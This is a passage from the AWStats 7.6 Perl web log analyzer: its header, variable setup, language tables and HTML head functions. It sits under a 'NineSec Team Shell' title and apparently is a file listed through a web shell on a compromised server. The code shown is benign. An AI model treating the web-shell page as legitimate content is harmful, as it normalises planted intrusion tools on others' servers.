NineSec Team Shell

#!/usr/bin/perl #------------------------------------------------------------------------------ # Free realtime web server logfile analyzer to show advanced web statistics. # Works from command line or as a CGI. You must use this script as often as # necessary from your scheduler to update your statistics and from command # line or a browser to read report results. # See AWStats documentation (in docs/ directory) for all setup instructions. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. #------------------------------------------------------------------------------ require 5.007; #$|=1; #use warnings; # Must be used in test mode only. This reduce a little process speed #use diagnostics; # Must be used in test mode only. This reduce a lot of process speed use strict; no strict "refs"; use Time::Local ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules use Socket; use Encode; use File::Spec; #------------------------------------------------------------------------------ # Defines #------------------------------------------------------------------------------ use vars qw/ $REVISION $VERSION /; $REVISION = '20161204'; $VERSION = "7.6 (build $REVISION)"; # ----- Constants ----- use vars qw/ $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE $WIDTHCOLICON $TOOLTIPON $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate $NOHTML /; $DEBUGFORCED = 0 ; # Force debug level to log lesser level into debug.log file (Keep this value to 0) $NBOFLINESFORBENCHMARK = 8192 ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2) $FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on $NBOFLASTUPDATELOOKUPTOSAVE = 500; # Nb of records to save in DNS last update cache file $LIMITFLUSH = 5000; # Nb of records in data arrays after how we need to flush data on disk $NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00 $VISITTIMEOUT = 10000 ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000) $NOTSORTEDRECORDTOLERANCE = 20000 ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000) $WIDTHCOLICON = 32; $TOOLTIPON = 0; # Tooltips plugin loaded $NOHTML = 0; # Suppress the html headers # ----- Running variables ----- use vars qw/ $DIR $PROG $Extension $Debug $ShowSteps $DebugResetDone $DNSLookupAlreadyDone $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate $lowerval $PluginMode $MetaRobot $AverageVisits $AveragePages $AverageHits $AverageBytes $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown $TotalPages $TotalHits $TotalBytes $TotalHitsErrors $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra /; $DIR = $PROG = $Extension = ''; $Debug = $ShowSteps = 0; $DebugResetDone = $DNSLookupAlreadyDone = 0; $RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0; $LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0; $LastUpdate = 0; $lowerval = 0; $PluginMode = ''; $MetaRobot = 0; $AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0; $TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0; $TotalPages = $TotalHits = $TotalBytes = $TotalHitsErrors = 0; $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; $TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0; $TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0; $TotalDifferentKeywords = 0; $TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0; $TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0; ( $FrameName, $Center, $FileConfig, $FileSuffix, $Host, $YearRequired, $MonthRequired, $DayRequired, $HourRequired, $QueryString, $SiteConfig, $StaticLinks, $PageCode, $PageDir, $PerlParsingFormat, $UserAgent ) = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ); # ----- Plugins variable ----- use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /; %PluginsLoaded = (); $PluginDir = ''; $AtLeastOneSectionPlugin = 0; # ----- Time vars ----- use vars qw/ $starttime $nowtime $tomorrowtime $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns $StartSeconds $StartMicroseconds /; $StartSeconds = $StartMicroseconds = 0; # ----- Variables for config file reading ----- use vars qw/ $FoundNotPageList /; $FoundNotPageList = 0; # ----- Config file variables ----- use vars qw/ $StaticExt $DNSStaticCacheFile $DNSLastUpdateCacheFile $MiscTrackerUrl $Lang $MaxRowsInHTMLOutput $MaxLengthOfShownURL $MaxLengthOfStoredURL $MaxLengthOfStoredUA %BarPng $BuildReportFormat $BuildHistoryFormat $ExtraTrackedRowsLimit $DatabaseBreak $SectionsToBeSaved /; $StaticExt = 'html'; $DNSStaticCacheFile = 'dnscache.txt'; $DNSLastUpdateCacheFile = 'dnscachelastupdate.txt'; $MiscTrackerUrl = '/js/awstats_misc_tracker.js'; $Lang = 'auto'; $SectionsToBeSaved = 'all'; $MaxRowsInHTMLOutput = 1000; $MaxLengthOfShownURL = 64; $MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190 $MaxLengthOfStoredUA = 256; %BarPng = ( 'vv' => 'vv.png', 'vu' => 'vu.png', 'hu' => 'hu.png', 'vp' => 'vp.png', 'hp' => 'hp.png', 'he' => 'he.png', 'hx' => 'hx.png', 'vh' => 'vh.png', 'hh' => 'hh.png', 'vk' => 'vk.png', 'hk' => 'hk.png' ); $BuildReportFormat = 'html'; $BuildHistoryFormat = 'text'; $ExtraTrackedRowsLimit = 500; $DatabaseBreak = 'month'; use vars qw/ $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $DynamicDNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats $IncludeInternalLinksInOriginSection $AuthenticatedUsersNotCaseSensitive $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery $DecodeUA $DecodePunycode /; ( $DebugMessages, $AllowToUpdateStatsFromBrowser, $EnableLockForUpdate, $DNSLookup, $DynamicDNSLookup, $AllowAccessFromWebToAuthenticatedUsersOnly, $BarHeight, $BarWidth, $CreateDirDataIfNotExists, $KeepBackupOfHistoricFiles, $NbOfLinesParsed, $NbOfLinesDropped, $NbOfLinesCorrupted, $NbOfLinesComment, $NbOfLinesBlank, $NbOfOldLines, $NbOfNewLines, $NbOfLinesShowsteps, $NewLinePhase, $NbOfLinesForCorruptedLog, $PurgeLogFile, $ArchiveLogRecords, $ShowDropped, $ShowCorrupted, $ShowUnknownOrigin, $ShowDirectOrigin, $ShowLinksToWhoIs, $ShowAuthenticatedUsers, $ShowFileSizesStats, $ShowScreenSizeStats, $ShowSMTPErrorsStats, $ShowEMailSenders, $ShowEMailReceivers, $ShowWormsStats, $ShowClusterStats, $IncludeInternalLinksInOriginSection, $AuthenticatedUsersNotCaseSensitive, $Expires, $UpdateStats, $MigrateStats, $URLNotCaseSensitive, $URLWithQuery, $URLReferrerWithQuery, $DecodeUA, $DecodePunycode ) = ( 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ); use vars qw/ $DetailedReportsOnNewWindows $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats $ShowHoursStats $ShowDomainsStats $ShowHostsStats $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats $ShowOSStats $ShowBrowsersStats $ShowOriginStats $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats $ShowHTTPErrorsPageDetail $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats /; ( $DetailedReportsOnNewWindows, $FirstDayOfWeek, $KeyWordsNotSensitive, $SaveDatabaseFilesWithPermissionsForEveryone, $WarningMessages, $ShowLinksOnUrl, $UseFramesWhenCGI, $ShowMenu, $ShowSummary, $ShowMonthStats, $ShowDaysOfMonthStats, $ShowDaysOfWeekStats, $ShowHoursStats, $ShowDomainsStats, $ShowHostsStats, $ShowRobotsStats, $ShowSessionsStats, $ShowPagesStats, $ShowFileTypesStats, $ShowDownloadsStats, $ShowOSStats, $ShowBrowsersStats, $ShowOriginStats, $ShowKeyphrasesStats, $ShowKeywordsStats, $ShowMiscStats, $ShowHTTPErrorsStats, $ShowHTTPErrorsPageDetail, $AddDataArrayMonthStats, $AddDataArrayShowDaysOfMonthStats, $AddDataArrayShowDaysOfWeekStats, $AddDataArrayShowHoursStats ) = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ); use vars qw/ $AllowFullYearView $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection /; ( $AllowFullYearView, $LevelForRobotsDetection, $LevelForWormsDetection, $LevelForBrowsersDetection, $LevelForOSDetection, $LevelForRefererAnalyze, $LevelForFileTypesDetection, $LevelForSearchEnginesDetection, $LevelForKeywordsDetection ) = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 ); use vars qw/ $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks $AddLinkToExternalCGIWrapper /; ( $DirLock, $DirCgi, $DirConfig, $DirData, $DirIcons, $DirLang, $AWScript, $ArchiveFileName, $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection, $HTMLEndSection, $LinksToWhoIs, $LinksToIPWhoIs, $LogFile, $LogType, $LogFormat, $LogSeparator, $Logo, $LogoLink, $StyleSheet, $WrapperScript, $SiteDomain, $UseHTTPSLinkForUrl, $URLQuerySeparators, $URLWithAnchor, $ErrorMessages, $ShowFlagLinks, $AddLinkToExternalCGIWrapper ) = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ); use vars qw/ $color_Background $color_TableBG $color_TableBGRowTitle $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v /; ( $color_Background, $color_TableBG, $color_TableBGRowTitle, $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle, $color_TableTitle, $color_text, $color_textpercent, $color_titletext, $color_weekend, $color_link, $color_hover, $color_other, $color_h, $color_k, $color_p, $color_e, $color_x, $color_s, $color_u, $color_v ) = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ); # ---------- Init arrays -------- use vars qw/ @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToCleanSearchUrl @WormsSearchIDOrder @RobotsSearchIDOrder @SearchEnginesSearchIDOrder @_from_p @_from_h @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k @DOWIndex @fieldlib @keylist /; @RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = (); @_from_p = @_from_h = (); @_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = (); @DOWIndex = @fieldlib = @keylist = (); use vars qw/ @MiscListOrder %MiscListCalc %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers @DefaultFile @SkipDNSLookupFor @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers @URLWithQueryWithOnly @URLWithQueryWithout @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra @ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal @ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal @ExtraAddAverageRow @ExtraAddSumRow @PluginsToLoad /; @MiscListOrder = ( 'AddToFavourites', 'JavascriptDisabled', 'JavaEnabled', 'DirectorSupport', 'FlashSupport', 'RealPlayerSupport', 'QuickTimeSupport', 'WindowsMediaPlayerSupport', 'PDFSupport' ); %MiscListCalc = ( 'TotalMisc' => '', 'AddToFavourites' => 'u', 'JavascriptDisabled' => 'hm', 'JavaEnabled' => 'hm', 'DirectorSupport' => 'hm', 'FlashSupport' => 'hm', 'RealPlayerSupport' => 'hm', 'QuickTimeSupport' => 'hm', 'WindowsMediaPlayerSupport' => 'hm', 'PDFSupport' => 'hm' ); @SessionsRange = ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' ); %SessionsAverage = ( '0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210, '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700, '1h+', 3600 ); # HTTP-Accept or Lang parameter => AWStats code to use for lang # ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1 %LangBrowserToLangAwstats = ( 'sq' => 'al', 'ar' => 'ar', 'ba' => 'ba', 'bg' => 'bg', 'zh-tw' => 'tw', 'zh' => 'cn', 'cs' => 'cz', 'de' => 'de', 'da' => 'dk', 'en' => 'en', 'et' => 'et', 'fi' => 'fi', 'fr' => 'fr', 'gl' => 'gl', 'es' => 'es', 'eu' => 'eu', 'ca' => 'ca', 'el' => 'gr', 'hu' => 'hu', 'is' => 'is', 'in' => 'id', 'it' => 'it', 'ja' => 'jp', 'kr' => 'ko', 'lv' => 'lv', 'nl' => 'nl', 'no' => 'nb', 'nb' => 'nb', 'nn' => 'nn', 'pl' => 'pl', 'pt' => 'pt', 'pt-br' => 'br', 'ro' => 'ro', 'ru' => 'ru', 'sr' => 'sr', 'sk' => 'sk', 'sv' => 'se', 'th' => 'th', 'tr' => 'tr', 'uk' => 'ua', 'cy' => 'cy', 'wlk' => 'cy' ); %LangAWStatsToFlagAwstats = ( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code 'ca' => 'es_cat', 'et' => 'ee', 'eu' => 'es_eu', 'cy' => 'wlk', 'gl' => 'glg', 'he' => 'il', 'ko' => 'kr', 'ar' => 'sa', 'sr' => 'cs' ); @HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = (); @DefaultFile = @SkipDNSLookupFor = (); @SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = (); @OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = (); @URLWithQueryWithOnly = @URLWithQueryWithout = (); @ExtraName = @ExtraCondition = @ExtraStatTypes = (); @MaxNbOfExtra = @MinHitExtra = (); @ExtraFirstColumnTitle = @ExtraFirstColumnValues = (); @ExtraFirstColumnFunction = @ExtraFirstColumnFormat = (); @ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = (); @ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = (); @ExtraAddAverageRow = @ExtraAddSumRow = (); @PluginsToLoad = (); # ---------- Init hash arrays -------- use vars qw/ %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers %DomainsHashIDLib %MimeHashLib %MimeHashFamily %OSHashID %OSHashLib %RobotsHashIDLib %RobotsAffiliateLib %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys %WormsHashID %WormsHashLib %WormsHashTarget /; use vars qw/ %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx %BadFormatWarning %MonthNumLib %ValidHTTPCodes %ValidSMTPCodes %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits %MaxNbOf %MinHit %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile %val %nextval %egal %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable /; %HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = (); %BadFormatWarning = (); %MonthNumLib = (); %ValidHTTPCodes = %ValidSMTPCodes = (); %TrapInfosForHTTPErrorCodes = (); %NotPageList = (); %DayBytes = %DayHits = %DayPages = %DayVisits = (); %MaxNbOf = %MinHit = (); %ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = (); %val = %nextval = %egal = (); %TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); %MyDNSTable = (); use vars qw/ %FirstTime %LastTime %MonthHostsKnown %MonthHostsUnknown %MonthUnique %MonthVisits %MonthPages %MonthHits %MonthBytes %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes %_session %_browser_h %_browser_p %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u %_waithost_e %_waithost_l %_waithost_s %_waithost_u %_keyphrases %_keywords %_os_h %_os_p %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h %_misc_p %_misc_h %_misc_k %_cluster_p %_cluster_h %_cluster_k %_se_referrals_p %_se_referrals_h %_sider_h %_referer_h %_err_host_h %_url_p %_url_k %_url_e %_url_x %_downloads %_unknownreferer_l %_unknownrefererbrowser_l %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l /; &Init_HashArray(); # ---------- Init Regex -------- use vars qw/ $regclean1 $regclean2 $regdate /; $regclean1 = qr/<(recnb|\/td)>/i; $regclean2 = qr/<\/?[^<>]+>/i; $regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/; # ---------- Init Tie::hash arrays -------- # Didn't find a tie that increase speed #use Tie::StdHash; #use Tie::Cache::LRU; #tie %_host_p, 'Tie::StdHash'; #tie %TmpOS, 'Tie::Cache::LRU'; # PROTOCOL CODES use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /; # DEFAULT MESSAGE use vars qw/ @Message /; @Message = ( 'Unknown', 'Unknown (unresolved ip)', 'Others', 'View details', 'Day', 'Month', 'Year', 'Statistics for', 'First visit', 'Last visit', 'Number of visits', 'Unique visitors', 'Visit', 'different keywords', 'Search', 'Percent', 'Traffic', 'Domains/Countries', 'Visitors', 'Pages-URL', 'Hours', 'Browsers', '', 'Referers', 'Never updated (See \'Build/Update\' on awstats_setup.html page)', 'Visitors domains/countries', 'hosts', 'pages', 'different pages-url', 'Viewed', 'Other words', 'Pages not found', 'HTTP Error codes', 'Netscape versions', 'IE versions', 'Last Update', 'Connect to site from', 'Origin', 'Direct address / Bookmarks', 'Origin unknown', 'Links from an Internet Search Engine', 'Links from an external page (other web sites except search engines)', 'Links from an internal page (other page on same site)', 'Keyphrases used on search engines', 'Keywords used on search engines', 'Unresolved IP Address', 'Unknown OS (Referer field)', 'Required but not found URLs (HTTP code 404)', 'IP Address', 'Error Hits', 'Unknown browsers (Referer field)', 'different robots', 'visits/visitor', 'Robots/Spiders visitors', 'Free realtime logfile analyzer for advanced web statistics', 'of', 'Pages', 'Hits', 'Versions', 'Operating Systems', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec', 'Navigation', 'File type', 'Update now', 'Bandwidth', 'Back to main page', 'Top', 'dd mmm yyyy - HH:MM', 'Filter', 'Full list', 'Hosts', 'Known', 'Robots', 'Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Days of week', 'Who', 'When', 'Authenticated users', 'Min', 'Average', 'Max', 'Web compression', 'Bandwidth saved', 'Compression on', 'Compression result', 'Total', 'different keyphrases', 'Entry', 'Code', 'Average size', 'Links from a NewsGroup', 'KB', 'MB', 'GB', 'Grabber', 'Yes', 'No', 'Info.', 'OK', 'Exit', 'Visits duration', 'Close window', 'Bytes', 'Search Keyphrases', 'Search Keywords', 'different refering search engines', 'different refering sites', 'Other phrases', 'Other logins (and/or anonymous users)', 'Refering search engines', 'Refering sites', 'Summary', 'Exact value not available in "Year" view', 'Data value arrays', 'Sender EMail', 'Receiver EMail', 'Reported period', 'Extra/Marketing', 'Screen sizes', 'Worm/Virus attacks', 'Hit on favorite icon', 'Days of month', 'Miscellaneous', 'Browsers with Java support', 'Browsers with Macromedia Director Support', 'Browsers with Flash Support', 'Browsers with Real audio playing support', 'Browsers with Quictime audio playing support', 'Browsers with Windows Media audio playing support', 'Browsers with PDF support', 'SMTP Error codes', 'Countries', 'Mails', 'Size', 'First', 'Last', 'Exclude filter', 'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', 'Cluster', 'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', 'Numbers after + are successful hits on "robots.txt" files', 'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.', 'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.', 'Traffic viewed', 'Traffic not viewed', 'Monthly history', 'Worms', 'different worms', 'Mails successfully sent', 'Mails failed/refused', 'Sensitive targets', 'Javascript disabled', 'Created by', 'plugins', 'Regions', 'Cities', 'Opera versions', 'Safari versions', 'Chrome versions', 'Konqueror versions', ',', 'Downloads', 'Export CSV' ); #------------------------------------------------------------------------------ # Functions #------------------------------------------------------------------------------ # Function to solve pb with openvms sub file_filt (@) { my @retval; foreach my $fl (@_) { $fl =~ tr/^//d; push @retval, $fl; } return sort @retval; } #------------------------------------------------------------------------------ # Function: Write on output header of HTTP answer # Parameters: None # Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires # Output: $HeaderHTTPSent=1 # Return: None #------------------------------------------------------------------------------ sub http_head { if ( !$HeaderHTTPSent ) { my $newpagecode = $PageCode ? $PageCode : "utf-8"; if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i ? "Content-type: text/html; charset=$newpagecode\n" : "Content-type: text/xml; charset=$newpagecode\n" ); } else { print "Content-type: text/html; charset=$newpagecode\n"; } # Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR) if ( $Expires =~ /^\d+$/ ) { print "Cache-Control: public\n"; print "Last-Modified: " . gmtime($starttime) . "\n"; print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n"; } print "\n"; } $HeaderHTTPSent++; } #------------------------------------------------------------------------------ # Function: Write on output header of HTML page # Parameters: None # Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir # Output: $HeaderHTMLSent=1 # Return: None #------------------------------------------------------------------------------ sub html_head { my $dir = $PageDir ? 'right' : 'left'; if ($NOHTML) { return; } if ( scalar keys %HTMLOutput || $PluginMode ) { my $periodtitle = " ($YearRequired"; $periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" ); $periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" ); $periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" ); $periodtitle .= ")"; # Write head section if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { if ($PageCode) { print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n"; } else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; } if ( $FrameName ne 'index' ) { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n"; } else { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n"; } print "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n"; } else { if ( $FrameName ne 'index' ) { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n"; } else { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\n"; } print '<html lang="' . $Lang . '"' . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n"; } print "<head>\n"; my $endtag = '>'; if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { $endtag = ' />'; } # Affiche tag meta generator print "<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://www.awstats.org)\"$endtag\n"; # Affiche tag meta robots if ($MetaRobot) { print "<meta name=\"robots\" content=\"" . ( $FrameName eq 'mainleft' ? 'no' : '' ) . "index," . ( $FrameName eq 'mainleft' || $FrameName eq 'index' ? '' : 'no' ) . "follow\"$endtag\n"; } else { print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n"; } # Affiche tag meta content-type if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i ? "<meta http-equiv=\"content-type\" content=\"text/html; charset=" . ( $PageCode ? $PageCode : "iso-8859-1" ) . "\" />\n" : "<meta http-equiv=\"content-type\" content=\"text/xml; charset=" . ( $PageCode ? $PageCode : "iso-8859-1" ) . "\"$endtag\n" ); } else { print "<meta http-equiv=\"content-type\" content=\"text/html; charset=" . ( $PageCode ? $PageCode : "iso-8859-1" ) . "\"$endtag\n"; } if ($Expires) { print "<meta http-equiv=\"expires\" content=\"" . ( gmtime( $starttime + $Expires ) ) . "\"$endtag\n"; } my @k = keys %HTMLOutput; # This is to have a unique title and description page print "<meta http-equiv=\"description\" content=\"" . ucfirst($PROG) . " - Advanced Web Statistics for $SiteDomain$periodtitle" . ( $k[0] ? " - " . $k[0] : "" ) . "\"$endtag\n"; if ( $MetaRobot && $FrameName ne 'mainleft' ) { print "<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n"; } print "<title>$Message[7] $SiteDomain$periodtitle" . ( $k[0] ? " - " . $k[0] : "" ) . "</title>\n"; if ( $FrameName ne 'index' ) { if ($StyleSheet) { print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n"; } # A STYLE section must be in head section. Do not use " for number in a style section print "<style type=\"text/css\">\n"; if ( !$StyleSheet ) { print "body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n"; print ".aws_bodyl { }\n"; print ".aws_border { border-collapse: collapse; background-color: 